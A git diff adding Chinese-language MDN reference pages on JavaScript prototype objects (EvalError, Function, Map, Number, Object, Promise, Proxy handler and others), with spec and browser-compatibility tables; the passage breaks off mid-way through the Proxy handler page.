+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html new file mode 100644 index 0000000000..b68caa1f3f --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html @@ -0,0 +1,85 @@ +--- +title: EvalError.prototype +slug: Web/JavaScript/Reference/Global_Objects/EvalError/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/EvalError +translation_of_original: Web/JavaScript/Reference/Global_Objects/EvalError/prototype +--- +
{{JSRef}}
+ +

EvalError.prototype 属性是 {{jsxref("EvalError")}} 原型构造函数.

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Description

+ +

{{jsxref("EvalError")}} 全部实例都继承自EvalError.prototype. 你可以通过prototype去添加方法和属性.

+ +

Properties

+ +
+
EvalError.prototype.constructor
+
指定创建实例原型的函数.
+
{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}
+
错误信息. 从 ECMA-262 开始 {{jsxref("EvalError")}} 提供 message (继承自{{jsxref("Error.prototype.message")}})属性, 详见 SpiderMonkey.
+
{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}
+
错误名称.继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}
+
引发错误的文件路径. 继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}
+
引发错误所在行.继承自 {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}
+
引发错误所在的列. 继承自{{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}
+
堆栈.继承自 {{jsxref("Error")}}.
+
+ +

Methods

+ +

虽然 {{jsxref("EvalError")}} 自己的属性方法较少, 但是通过原型链继承了很多有用的方法.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}初代.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}定义为NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}定义为NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}定义为NativeError.prototype.
+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.builtins.EvalError")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html new file mode 100644 index 0000000000..a745753511 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html @@ -0,0 +1,139 @@ +--- +title: Function.prototype +slug: Web/JavaScript/Reference/Global_Objects/Function/prototype +tags: + - JavaScript + - 函数 + - 原型 + - 原型属性 +translation_of: Web/JavaScript/Reference/Global_Objects/Function +translation_of_original: Web/JavaScript/Reference/Global_Objects/Function/prototype +--- +
{{JSRef}}
+ +

Function.prototype 属性存储了 {{jsxref("Function")}} 的原型对象。

+ +

描述

+ +

{{jsxref("Function")}}对象继承自 Function.prototype 属性。因此,Function.prototype 不能被修改。

+ +

属性

+ +
+
{{jsxref("Function.arguments")}} {{deprecated_inline()}}
+
以数组形式获取传入函数的所有参数。此属性已被{{jsxref("Functions_and_function_scope/arguments", "arguments")}}替代。
+
{{jsxref("Function.arity")}} {{obsolete_inline() }}
+
用于指定的函数的参数的个数,但已被删除。使用{{jsxref("Function.length","length")}}属性代替。
+
{{jsxref("Function.caller")}} {{ Non-standard_inline() }}
+
获取调用函数的具体对象。
+
{{jsxref("Function.length")}}
+
获取函数的接收参数个数。
+
{{jsxref("Function.name")}} {{ Non-standard_inline() }}
+
获取函数的名称。
+
{{jsxref("Function.displayName")}} {{ Non-standard_inline() }}
+
获取函数的display name。
+
Function.prototype.constructor
+
声明函数的原型构造方法,详细请参考 {{jsxref("Object.constructor")}} 。
+
+ +

方法

+ +
+
{{jsxref("Function.prototype.apply()")}}
+
在一个对象的上下文中应用另一个对象的方法;参数能够以数组形式传入。
+
{{jsxref("Function.prototype.bind()")}}
+
bind()方法会创建一个新函数,称为绑定函数.当调用这个绑定函数时,绑定函数会以创建它时传入 bind()方法的第一个参数作为 this,传入 bind()方法的第二个以及以后的参数加上绑定函数运行时本身的参数按照顺序作为原函数的参数来调用原函数.
+
{{jsxref("Function.prototype.call()")}}
+
在一个对象的上下文中应用另一个对象的方法;参数能够以列表形式传入。
+
{{jsxref("Function.prototype.isGenerator()")}} {{ Non-standard_inline() }}
+
若函数对象为generator,返回true,反之返回 false
+
{{jsxref("Function.prototype.toSource()")}} {{ Non-standard_inline() }}
+
获取函数的实现源码的字符串。 覆盖了 {{jsxref("Object.prototype.toSource")}} 方法。
+
{{jsxref("Function.prototype.toString()")}}
+
获取函数的实现源码的字符串。覆盖了 {{jsxref("Object.prototype.toString")}} 方法。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.Implemented in JavaScript 1.1
{{SpecName('ES5.1', '#sec-15.3.5.2', 'Function.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-instances-prototype', 'Function.prototype')}}{{Spec2('ES6')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参考

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html new file mode 100644 index 0000000000..0f7179b3f5 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html @@ -0,0 +1,65 @@ +--- +title: GeneratorFunction.prototype +slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +tags: + - ECMAScript 2015 + - GeneratorFunction + - Iterator + - JavaScript + - Property + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction +translation_of_original: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +--- +
{{JSRef}}
+ +

GeneratorFunction.prototype属性是{{jsxref("GeneratorFunction")}}的原型对象。

+ +

描述

+ +

{{jsxref("GeneratorFunction")}} 的实例对象都继承于 GeneratorFunction.prototype. GeneratorFunction.prototype 不能被修改。

+ +

属性

+ +
+
GeneratorFunction.constructor
+
初始值是 {{jsxref("GeneratorFunction")}}.
+
GeneratorFunction.prototype.prototype
+
值是 %GeneratorPrototype%.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容

+ + + +

{{Compat("javascript.builtins.GeneratorFunction.prototype")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html new file mode 100644 index 0000000000..f74e8f9cf5 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html @@ -0,0 +1,120 @@ +--- +title: Intl.DateTimeFormat.prototype +slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat +translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +--- +
{{JSRef}}
+ +

Intl.DateTimeFormat.prototype表示 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}构造函数的原型对象。

+ +

{{js_property_attributes(0, 0, 0)}} 

+ +

描述

+ +

参见 {{jsxref("DateTimeFormat")}}来看Intl.DateTimeFormat实例的一个描述。

+ +

{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} 实例继承自Intl.DateTimeFormat.prototype. 对原型对象的修改都继承自{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}实例。

+ +

属性

+ +
+
Intl.DateTimeFormat.prototype.constructor
+
请参考 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.
+
{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}
+
Getter; 返回一个{{jsxref("DateTimeFormat", "DateTimeFormat")}}对象的根据locale和格式化参数格式化日期的函数。
+
+ +

方法

+ +
+
{{jsxref("DateTimeFormat.formatToParts", "Intl.DateTimeFormat.prototype.formatToParts()")}}
+
Returns an {{jsxref("Array")}} of objects representing the date string in parts that can be used for custom locale-aware formatting.
+
{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}
+
返回一个新的属性对象,反射出在对象初始化过程中计算出的locale和options的各个值。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范版本规范状态注解
{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 1.0')}}初始定义
{{SpecName('ES Int 2.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int Draft')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("24")}}{{CompatGeckoDesktop("29")}}{{CompatIE("11")}}{{CompatOpera("15")}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome("26")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

参见

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html new file mode 100644 index 0000000000..d98bdfac5a --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html @@ -0,0 +1,131 @@ +--- +title: Map.prototype +slug: Web/JavaScript/Reference/Global_Objects/Map/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Map +translation_of_original: Web/JavaScript/Reference/Global_Objects/Map/prototype +--- +
{{JSRef}}
+ +

Map.prototype 属性表示 {{jsxref("Map")}}构造函数的原型对象。

+ +
{{js_property_attributes(0,0,0)}}
+ +

描述

+ +

{{jsxref("Map")}} 实例继承自{{jsxref("Map.prototype")}}。你可以使用这个构造函数的原型对象来给所有的Map实例添加属性或者方法。

+ +

属性

+ +
+
Map.prototype.constructor
+
返回一个函数,它创建了实例的原型。默认是{{jsxref("Map")}}函数。
+
{{jsxref("Map.prototype.size")}}
+
返回Map对象的键/值对的数量。
+
+ +

方法

+ +
+
{{jsxref("Map.prototype.clear()")}}
+
移除Map对象的所有键/值对 。
+
{{jsxref("Map.delete", "Map.prototype.delete(key)")}}
+
如果 Map 对象中存在该元素,则移除它并返回 true;否则如果该元素不存在则返回 false。随后调用 Map.prototype.has(key) 将返回 false
+
{{jsxref("Map.prototype.entries()")}}
+
返回一个新的 Iterator 对象,它按插入顺序包含了Map对象中每个元素的 [key, value] 数组
+
{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}
+
按插入顺序,为 Map对象里的每一键值对调用一次callbackFn函数。如果为forEach提供了thisArg,它将在每次回调中作为this值。
+
{{jsxref("Map.get", "Map.prototype.get(key)")}}
+
返回键对应的值,如果不存在,则返回undefined。
+
{{jsxref("Map.has", "Map.prototype.has(key)")}}
+
返回一个布尔值,表示Map实例是否包含键对应的值。
+
{{jsxref("Map.prototype.keys()")}}
+
返回一个新的 Iterator对象, 它按插入顺序包含了Map对象中每个元素的
+
{{jsxref("Map.set", "Map.prototype.set(key, value)")}}
+
设置Map对象中键的值。返回该Map对象。
+
{{jsxref("Map.prototype.values()")}}
+
返回一个新的Iterator对象,它按插入顺序包含了Map对象中每个元素的
+
{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
+
返回一个新的Iterator对象,它按插入顺序包含了Map对象中每个元素的 [key, value] 数组
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{ CompatGeckoDesktop("13") }}11257.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}38{{CompatGeckoMobile("13")}}{{CompatNo}}{{CompatNo}} +

8

+
+
+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html new file mode 100644 index 0000000000..3abe34b74b --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html @@ -0,0 +1,132 @@ +--- +title: Number.prototype +slug: Web/JavaScript/Reference/Global_Objects/Number/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Number +translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype +--- +
+ {{JSRef("Global_Objects", "Number")}}
+

概述

+

Number.prototype 属性表示 {{jsxref("Global_Objects/Number", "Number")}} 构造函数的原型。

+
+ {{js_property_attributes(0,0,0)}}
+

描述

+

所有 Number 实例都继承自 Number.prototype。修改 {{jsxref("Global_Objects/Number", "Number")}} 构造函数的原型对象会影响到所有 Number 实例。.

+

属性

+
+
+ constructor
+
+ 返回创建该实例对象的构造函数。默认为 {{jsxref("Global_Objects/Number", "Number")}} 对象。
+
+
+ {{ jsOverrides("Object", "properties", "constructor") }}
+

方法

+
+
+ {{jsxref("Number.prototype.toExponential()")}}
+
+ 返回一个使用指数表示法表示的该数值的字符串表示。
+
+ {{jsxref("Number.prototype.toFixed()")}}
+
+ 返回一个使用定点表示法表示的该数值的字符串表示。
+
+ {{jsxref("Number.prototype.toLocaleString()")}}
+
+ 返回一个与语言相关的该数值对象的字符串表示。覆盖了{{jsxref("Object.prototype.toLocaleString()")}} 方法。
+
+ {{jsxref("Number.prototype.toPrecision()")}}
+
+ 使用定点表示法或指数表示法来表示的指定显示位数的该数值对象的字符串表示。
+
+ {{jsxref("Number.prototype.toSource()")}} {{ Non-standard_inline() }}
+
+ Returns an object literal representing the specified Number object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.
+
+ {{jsxref("Number.prototype.toString()")}}
+
+ 返回一个表示该数值对象的字符串。覆盖了 {{jsxref("Object.prototype.toString()")}} 方法。
+
+ {{jsxref("Number.prototype.valueOf()")}}
+
+ 返回该数值对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
+
+
+ {{ jsOverrides("Object", "methods", "toExponential", "toFixed", "toLocaleString", "toPrecision", "toSource", "toString", "valueOf") }}
+
+  
+

规范

+ + + + + + + + + + + + + + + + + + + + + + + +
规范版本规范状态注解
ECMAScript 1st Edition. Implemented in JavaScript 1.1StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ES6')}} 
+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+

 

diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html new file mode 100644 index 0000000000..4dd70200f0 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html @@ -0,0 +1,195 @@ +--- +title: Object.prototype +slug: Web/JavaScript/Reference/Global_Objects/Object/prototype +tags: + - JavaScript + - Object + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Object +translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype +--- +
{{JSRef}}
+ +

Object.prototype 属性表示 {{jsxref("Object")}} 的原型对象。

+ +

{{js_property_attributes(0, 0, 0)}}

+ +

描述

+ +

几乎所有的 JavaScript 对象都是 {{jsxref("Object")}} 的实例;一个典型的对象继承了Object.prototype的属性(包括方法),尽管这些属性可能被遮蔽(亦称为覆盖)。但是有时候可能故意创建不具有典型原型链继承的对象,比如通过{{jsxref("Object.create", "Object.create(null)")}}创建的对象,或者通过{{jsxref("Object.setPrototypeOf")}}方法改变原型链。

+ +

改变Object原型,会通过原型链改变所有对象;除非在原型链中进一步覆盖受这些变化影响的属性和方法。这提供了一个非常强大的、但有潜在危险的机制来覆盖或扩展对象行为。

+ +

属性

+ +
+
{{jsxref("Object.prototype.constructor")}}
+
特定的函数,用于创建一个对象的原型。
+
{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}
+
指向当对象被实例化的时候,用作原型的对象。
+
{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}
+
当未定义的对象成员被调用作方法的时候,允许定义并执行的函数。
+
{{jsxref("Object.prototype.__count__")}} {{obsolete_inline}}
+
用于直接返回用户定义的对象中可数的属性的数量。已被废除。
+
{{jsxref("Object.prototype.__parent__")}} {{obsolete_inline}}
+
用于指向对象的内容。已被废除。
+
+ +

方法

+ +
+
{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
关联一个函数到一个属性。访问该函数时,执行该函数并返回其返回值。
+
{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
关联一个函数到一个属性。设置该函数时,执行该修改属性的函数。
+
{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
返回使用 {{jsxref("Object.defineGetter", "__defineGetter__")}} 定义的方法函数 。
+
{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
返回使用 {{jsxref("Object.defineSetter", "__defineSetter__")}} 定义的方法函数。
+
{{jsxref("Object.prototype.hasOwnProperty()")}}
+
返回一个布尔值 ,表示某个对象是否含有指定的属性,而且此属性非原型链继承的。
+
{{jsxref("Object.prototype.isPrototypeOf()")}}
+
返回一个布尔值,表示指定的对象是否在本对象的原型链中。
+
{{jsxref("Object.prototype.propertyIsEnumerable()")}}
+
判断指定属性是否可枚举,内部属性设置参见 ECMAScript [[Enumerable]] attribute
+
{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
+
返回字符串表示此对象的源代码形式,可以使用此字符串生成一个新的相同的对象。
+
{{jsxref("Object.prototype.toLocaleString()")}}
+
直接调用 {{jsxref("Object.toString", "toString()")}}方法。
+
{{jsxref("Object.prototype.toString()")}}
+
返回对象的字符串表示。
+
{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}
+
移除对象某个属性的监听。
+
{{jsxref("Object.prototype.valueOf()")}}
+
返回指定对象的原始值。
+
{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}
+
给对象的某个属性增加监听。
+
{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}
+
在指定对象为上下文情况下执行javascript字符串代码,已经废弃。
+
+ +

示例

+ +

当改变现有的 Object.prototype method(方法)的行为时,考虑在现有逻辑之前或之后通过封装你的扩展来注入代码。例如,此(未测试的)代码将在内置逻辑或其他人的扩展执行之前 pre-conditionally(预条件地)执行自定义逻辑。

+ +

当一个函数被调用时,调用的参数被保留在类似数组 "变量" 的参数中。例如, 在调用 "myFn (a、b、c)"时, 在myFn 的主体内的参数将包含 3个类似数组的元素对应于 (a、b、c)。 使用钩子修改原型时,只需通过调用该函数的 apply (),将 this 与参数 (调用状态) 传递给当前行为。这种模式可以用于任何原型,如 Node.prototype、 Function.prototype 等.

+ +
var current = Object.prototype.valueOf;
+
+// 由于我的属性 "-prop-value"是交叉性的, 并不总是
+// 在同一个原型链上,我想要修改 Object.prototype:
+Object.prototype.valueOf = function() {
+  if (this.hasOwnProperty('-prop-value')) {
+    return this['-prop-value'];
+  } else {
+    // 它看起来不像我的对象之一,因此,让我们退回到
+    // 默认行为,通过尽可能地复制当前行为来实现.
+    // 此apply的行为类似于其他语言中的"super".
+    // 即使 valueOf() 不带参数, 其他的钩子可能会带有.
+    return current.apply(this, arguments);
+  }
+}
+ +

由于 JavaScript 并不完全具有子类对象, 所以原型是一种有用的变通方法, 可以使用某些函数的 "基类" 对象来充当对象。例如:

+ +
var Person = function(name) {
+  this.name = name;
+  this.canTalk = true;
+};
+
+Person.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name);
+  }
+};
+
+var Employee = function(name, title) {
+  Person.call(this, name);
+  this.title = title;
+};
+
+Employee.prototype = Object.create(Person.prototype);
+
+Employee.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name + ', the ' + this.title);
+  }
+};
+
+var Customer = function(name) {
+  Person.call(this, name);
+};
+
+Customer.prototype = Object.create(Person.prototype);
+
+var Mime = function(name) {
+  Person.call(this, name);
+  this.canTalk = false;
+};
+
+Mime.prototype = Object.create(Person.prototype);
+
+var bob = new Employee('Bob', 'Builder');
+var joe = new Customer('Joe');
+var rg = new Employee('Red Green', 'Handyman');
+var mike = new Customer('Mike');
+var mime = new Mime('Mime');
+
+bob.greet();
+// Hi, I am Bob, the Builder
+
+joe.greet();
+// Hi, I am Joe
+
+rg.greet();
+// Hi, I am Red Green, the Handyman
+
+mike.greet();
+// Hi, I am Mike
+
+mime.greet();
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容

+ + + +

{{Compat("javascript.builtins.Object.prototype")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html new file mode 100644 index 0000000000..c9c7dc3f6a --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html @@ -0,0 +1,116 @@ +--- +title: Promise.prototype +slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Promise +translation_of_original: Web/JavaScript/Reference/Global_Objects/Promise/prototype +--- +
{{JSRef("Global_Objects", "Promise")}}
+ +

总结

+ +

Promise.prototype 属性表示 {{jsxref("Promise")}} 构造器的原型.

+ +
{{js_property_attributes(0,0,0)}}
+ +

描述

+ +

{{jsxref("Promise")}} 实例继承自 {{jsxref("Promise.prototype")}}. 你可以在构造器的原型对象添加属性或方法到所有 Promise 实例上.

+ +

属性

+ +
+
Promise.prototype.constructor
+
返回被创建的实例函数.  默认为 {{jsxref("Promise")}} 函数.
+
+ +

方法

+ +
+
{{jsxref("Promise.catch", "Promise.prototype.catch(onRejected)")}}
+
添加一个拒绝(rejection) 回调到当前 promise, 返回一个新的promise。当这个回调函数被调用,新 promise 将以它的返回值来resolve,否则如果当前promise 进入fulfilled状态,则以当前promise的完成结果作为新promise的完成结果.
+
{{jsxref("Promise.then", "Promise.prototype.then(onFulfilled, onRejected)")}}
+
添加解决(fulfillment)和拒绝(rejection)回调到当前 promise, 返回一个新的 promise, 将以回调的返回值来resolve.
+
{{jsxref("Promise.finally", "Promise.prototype.finally(onFinally)")}}
+
添加一个事件处理回调于当前promise对象,并且在原promise对象解析完毕后,返回一个新的promise对象。回调会在当前promise运行完毕后被调用,无论当前promise的状态是完成(fulfilled)还是失败(rejected)
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}{{Spec2('ES6')}}Initial definition.
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support32{{CompatGeckoDesktop(24.0)}} as Future
+ {{CompatGeckoDesktop(25.0)}} as Promise behind a flag[1]
+ {{CompatGeckoDesktop(29.0)}} by default
{{CompatNo}}197.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatGeckoMobile(24.0)}} as Future
+ {{CompatGeckoMobile(25.0)}} as Promise behind a flag[1]
+ {{CompatGeckoMobile(29.0)}} by default
{{CompatNo}}{{CompatNo}}iOS 832
+
+ +

[1] Gecko 24 has an experimental implementation of Promise, under the initial name of Future. It got renamed to its final name in Gecko 25, but disabled by default behind the flag dom.promise.enabled. Bug 918806 enabled Promises by default in Gecko 29.

+ +

另见

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html new file mode 100644 index 0000000000..26d1ad3517 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -0,0 +1,77 @@ +--- +title: Proxy handler +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler +tags: + - ECMAScript 2015 + - JavaScript + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy +translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler +--- +
{{JSRef}}
+ +
Proxy 的 handler 对象是一个占位符对象,它包含了用于 {{jsxref("Proxy")}} 的陷阱(Trap)函数。
+ +
此处可以理解为由Proxy所暴露出的钩子函数,handler作为挂载钩子函数的对象存在,不同的操作会触发不同的钩子函数
+ +
,handler提供了覆写钩子函数的方法。
+ +

方法

+ +

所有的陷阱是可选的。如果某个陷阱没有定义,那么就会保留默认行为。

+ +
+
{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}
+
在读取代理对象的原型时触发该操作,比如在执行 {{jsxref("Object.getPrototypeOf")}}(proxy) 时。
+
{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}
+
在设置代理对象的原型时触发该操作,比如在执行 {{jsxref("Object.setPrototypeOf")}}(proxy, null) 时。
+
{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}
+
在判断一个代理对象是否是可扩展时触发该操作,比如在执行 {{jsxref("Object.isExtensible")}}(proxy) 时。
+
{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}
+
在让一个代理对象不可扩展时触发该操作,比如在执行 {{jsxref("Object.preventExtensions")}}(proxy) 时。
+
{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}
+
在获取代理对象某个属性的属性描述时触发该操作,比如在执行 {{jsxref("Object.getOwnPropertyDescriptor")}}(proxy, "foo") 时。
+
{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}
+
在定义代理对象某个属性时的属性描述时触发该操作,比如在执行 {{jsxref("Object.defineProperty")}}(proxy, "foo", {}) 时。
+
{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}
+
在判断代理对象是否拥有某个属性时触发该操作,比如在执行 "foo" {{jsxref("Operators/in", "in")}} proxy 时。
+
{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}
+
